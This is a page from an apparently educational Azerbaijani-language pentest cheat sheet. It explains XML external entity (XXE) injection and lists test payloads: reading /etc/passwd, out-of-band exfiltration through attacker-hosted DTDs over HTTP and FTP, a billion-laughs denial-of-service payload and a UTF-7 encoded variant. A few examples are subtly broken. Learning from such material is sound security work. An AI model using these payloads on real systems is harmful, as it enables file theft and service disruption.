Pentest və SOC Cheat Sheet
  • Reconnaissance
  • Post-Explotation
    • Linux Post-Explotation
      • Linux Local Enumeration
      • Linux Privilege Escalation
      • Dumping and cracking hashes on Linux
      • Linux Persistence
    • Windows Post-Explotation
      • Windows Local Enumeration
      • Windows Privilege Escalation
      • Windows Persistence
  • Network Services Pentesting
    • 21-Pentesting FTP
    • 22-Pentesting SSH
    • 23-Pentesting Telnet
    • 53-Pentesting DNS
    • 25,465,587-Pentesting SMTP
    • 110,995-Pentesting POP
    • 139,445-Pentesting SMB
    • 3306-Pentesting MySQL
    • 3389-Pentesting RDP
    • 1433-Pentesting MSSQL-Microsoft SQL Server
    • 389,636,3268,3269-Pentesting LDAP
  • Web Pentesting
    • Broken Access Control
      • Praktiki nümunə
    • OS Command Injection
      • Praktiki nümunə
    • SQL Injection
      • Praktiki nümunə
    • Cross-Site-Scripting (XSS)
      • Praktiki nümunə
    • File Upload
      • Praktiki nümunə
    • Directory Traversal və Path Traversal
      • Praktiki nümunə
    • CSRF
    • XXE
    • Clickjacking
      • Praktiki nümunə
    • SSRF
      • Praktiki nümunə
    • JWT (Json Web Token)
      • Praktiki nümunə
    • Local&Remote File İnclusion
      • Praktiki nümunə
      • Local File inclusion ilə reverse shell almaq
    • 401&403 Bypass
    • Login Bypass
    • Open Redirect
    • Unicode Injection
    • Security Misconfiguration
    • CRLF injection
    • LDAP Injection
    • Cookies Hacking
    • Cross site WebSocket hijacking (CSWSH)
    • SSTI (Server Side Template Injection)
    • CSTI (Client Side Template Injection)
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Hücumları
    • Reverse Tab Nabbing
    • Web Tool - WFuzz
    • XPATH enjeksiyonu
    • Server-Side Includes (SSI) Injection
    • Edge Side Inclusion Injection (ESII)
    • Race Condition
    • PostMessage
    • Parameter Pollution
    • Cache Poisoning and Cache Deception
    • Captcha Bypass
  • AD Pentesting
    • Domain Enumeration
      • PowerView ilə enumeration
      • AD Module ilə enumeration
      • BloodHound ilə enumeration
        • On Site BloodHound
      • Using Adalanche
        • Remote adalanche
      • Useful Enumeration Tools
    • Local Privilege Escalation
      • Useful Local Priv Esc Tools
      • UAC Bypass
    • Lateral Movement
      • Powershell Remoting
      • Mimikatz
      • Remote Desktop Protocol
      • URL File Attacks
      • Useful Tools
    • Domain Privilege Escalation
      • Kerberoast
      • ASREPRoast
      • Password Spray Attack
      • Force Set SPN
      • Abusing Shadow Copies
      • List and Decrypt Stored Credentials using Mimikatz
      • Unconstrained Delegation
      • Constrained Delegation
      • Resource Based Constrained Delegation
      • DNSAdmins Abuse
      • Abusing Active Directory-Integraded DNS (ADIDNS) poisoning
      • Abusing Backup Operators Group
      • SID History Abuse
      • Active Directory Certificate Services
    • Domain Persistence
      • Golden Ticket Attack
      • Silver Ticket Attack
      • Skeleton Key Attack
      • DSRM Abuse
      • DCsync Attack
    • Cross Forest Attacks
      • Trust Tickets
      • Abuse MSSQL Servers
      • Breaking Forest Trusts
  • SOC - Cheat Sheet
    • SOC Nədir?
    • SOC Komponentləri Nələrdir?
    • SOC Checklist
    • SIEM
      • Splunk Qurulması və Konfiqurasiyası
    • IDS/IPS
    • Firewall
    • Firewall qurulması və konfiqurasiyası
    • EDR/XDR
    • SOAR
    • Windows Commands for SOC analysts
      • GUI Programs in Windows
      • Event Viewer
      • Task Scheduler
      • Group Policy Editor
      • Device Manager
      • Task Manager
      • Registry Manager
    • Linux Commands for SOC analysts
    • LOLBAS Apps and Commands
      • Apps and Commands
Powered by GitBook
On this page
  • XML nədir?
  • XML entities nədir?
  • XML elementləri nədir?
  • XML external entities hansılardır?
  • XML Parametr entities hansılardır?
  • XML External Entity (XXE) Enjeksiyonu üçün bəzi göstərişlər
  • XML Entities
  • Test Paylaods
  • CDATA
  • XML istifadə edərək digər növ açıqların test edilməsi:

Was this helpful?

  1. Web Pentesting

XXE

PreviousCSRFNextClickjacking

Last updated 1 year ago

Was this helpful?

XML nədir?

XML "extensible markup language" deməkdir. XML məlumatların saxlanması və daşınması üçün nəzərdə tutulmuş bir dildir. HTML kimi, XML də teqlərin və məlumatların ağaca bənzər strukturundan istifadə edir. HTML-dən fərqli olaraq, XML əvvəlcədən təyin edilmiş teqlərdən istifadə etmir və buna görə də teqlərə verilənləri təsvir edən adlar verilə bilər. Əvvəllər internet tarixində XML məlumat nəqli formatı kimi dəbdə idi (“AJAX”dakı “X” “XML” deməkdir). Lakin onun populyarlığı indi JSON formatının xeyrinə azalıb.

XML entities nədir?

XML entities verilənlərin özündən istifadə etmək əvəzinə, XML sənədində məlumat elementini təmsil etmək üsuludur. XML dilinin spesifikasiyasına uyğun olaraq müxtəlif obyektlər qurulur. Məsələn, qurumlar < və > < və > simvollarını təmsil edir. Bunlar XML teqlərini ifadə etmək üçün istifadə edilən metasimvollardır.

XML elementləri nədir?

Element növü qaydaları XML sənədində görünən elementlərin növü və sayı, hansı elementlərin bir-birinin içində görünəcəyi və onların hansı ardıcıllıqla görünməli olduğunu təyin edir. Məsələn:

  • <!ELEMENT stockCheck ANY> Hər hansı bir obyektin parent içində olacağını bildirir<stockCheck></stockCheck>

  • <!ELEMENT stockCheck EMPTY> Bu o deməkdir ki, boş olmalıdır <stockCheck></stockCheck>

  • <!ELEMENT stockCheck (productId,storeId)> Bunu göstərir ki <stockCheck> Bu formada qolları da var<productId> and <storeId>

XML external entities hansılardır?

XML external entities (XXE) XML-də sənədin XML sənədinə daxil edilməsinə fayl və ya verilənlər kimi xarici məzmuna istinad etməyə imkan verən xüsusiyyətdir. Bununla belə, XXE diqqətlə idarə edilmədikdə təhlükəsizlik riski yarada bilər. Təcavüzkar zərərli obyektləri yeritməklə bu funksiyadan istifadə edə bilər və bu, icazəsiz girişə və ya həssas məlumatların paylaşılmasına səbəb ola bilər. Məsələn, yerli fayla işarə edən xarici obyekti göstərən XML faylını nəzərdən keçirin:

Bu nümunədə təcavüzkar Unix əsaslı sistemdə "/etc/passwd" faylının məzmununu əldə edə bilər. XXE hücumlarının qarşısını almaq üçün external entities istinadlarını söndürmək və ya XML emal proqramlarında təhlükəsiz təhlil metodlarından istifadə etmək vacibdir.

XML Parametr entities hansılardır?

Bəzən adi entities-dən istifadə edən XXE hücumları tətbiq tərəfindən bəzi daxilolmaların təsdiqlənməsi və ya istifadə olunan XML analizatorunun bəzi sərtləşməsi səbəbindən bloklanır. Bu vəziyyətdə, əvəzinə XML parametr obyektlərindən istifadə edə bilərsiniz. XML parametr entities-i yalnız DTD daxilində başqa yerdə istinad edilə bilən XML obyektinin xüsusi növüdür. İndilik üçün yalnız iki şeyi bilməlisiniz. Birincisi, XML parametr obyektindən əvvəl faiz simvolu qoyulmalıdır:

<!ENTITY % myparameterentity "my parameter entity value" >

İkincisi, parametr entities-inə adi ampersand əvəzinə faiz simvolu ilə istinad edilir:

%myparameterentity;

Bu o deməkdir ki, siz aşağıdakı kimi XML parametr entities vasitəsilə out-of-band dedection istifadə edərək blind XXE-ni test edə bilərsiniz:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

Bu XXE faydalı yükü xxe adlı XML parametr entity-ni elan edir və sonra DTD daxilində entity-dən istifadə edir. Bu, hücumun uğurlu olduğunu təsdiqləyən DNS axtarışına və təcavüzkarın domeninə HTTP sorğusuna səbəb olacaq.

XML External Entity (XXE) Enjeksiyonu üçün bəzi göstərişlər

XML Entities

  1. Internal Entities

<!ENTITY name "entity_value">
#example 
<!ENTITY test "entity-value">test value</entity-value>
  1. External Entities (Private external entity)

<!ENTITY name SYSTEM "URI">
# Example of private external entity
<!ENTITY textinfo SYSTEM "http://domain.com>
  1. External Entities (Public External Entity)

<!ENTITY name PUBLIC "public_id" "URI">
# Example
<!ENTITY textinfo PUBLIC "-//W3C//TEXT orginfo//EN" "https://www.domain.com/orginfo.xml">
  1. Parameter entities

<!ENTITY % name SYSTEM "URI">
# Example
<!ENTITY % food 'Breakfast'>
<!ENTITY Title 'Bacon & Eggs would be my %course;'>
  1. Unparsed External Entities

<!ENTITY name SYSTEM "URI" NDATA TYPE>
<!ENTITY name PUBLIC "public_id" "URI" NDATA TYPE>

Test Paylaods

Private External Entity istifadə edərək

<?xml version="1.0" ?>
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY cat "Tom">
]>
<Contact>
<lastName>&cat;</lastName>
<firstName>Jerry</firstName>
</Contact>

Public External Entity istifadə edərək

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY lastname SYSTEM "file:///etc/passwd">
]>
<Contact>
<lastName>&cat;</lastName>
<firstName>Jerry</firstName>
</Contact>

CDATA

XML fayllarını CDATA vasitəsilə çıxara bilən XXE:

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/myapp/WEB-INF/web.xml" >
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.1.5:8000/wrapper.dtd" >
%dtd;
]>
<Contact>
<lastName>&wrapper;</lastName>
<firstName>FIRSTNAME_FILLER</firstName>
</Contact>

wrapper.dtd daxilində (xarici DTD faylı). Onun məqsədi sadəcə dəyişənləri (parametrləri) 1-ə yığmaqdır.

<!ENTITY wrapper "%start;%file;%end;">

XML istifadə edərək digər növ açıqların test edilməsi:

LFI Test

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

Blind LFI test (ilk öncə heçnə qaytarmadıqda)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>

Access Control bypass (məhdudlaşdırılmış resursların yüklənməsi - PHP nümunəsi)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>&ac;</result></foo>

SSRF Test

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>

XEE (XML Entity Expansion - DOS)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

XEE #2 (Uzaqdan hücum - external xml inclusion üzərindən hücum)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>

XXE FTP HTTP Server

<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd">
%remote;
%send;
]>
<data>4</data>

File stored on http://publicServer.com/parameterEntity_sendftp.dtd

<!ENTITY % param1 "<!ENTITY &#37; send SYSTEM 'ftp://publicServer.com/%payload;'>">
%param1;

XXE UTF-7

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

UTF-8 və UTF-7 arasında çevirmək üçün recode istifadə edin. UTF8..UTF7 payload-file.xml kodonu yenidən kodlayın.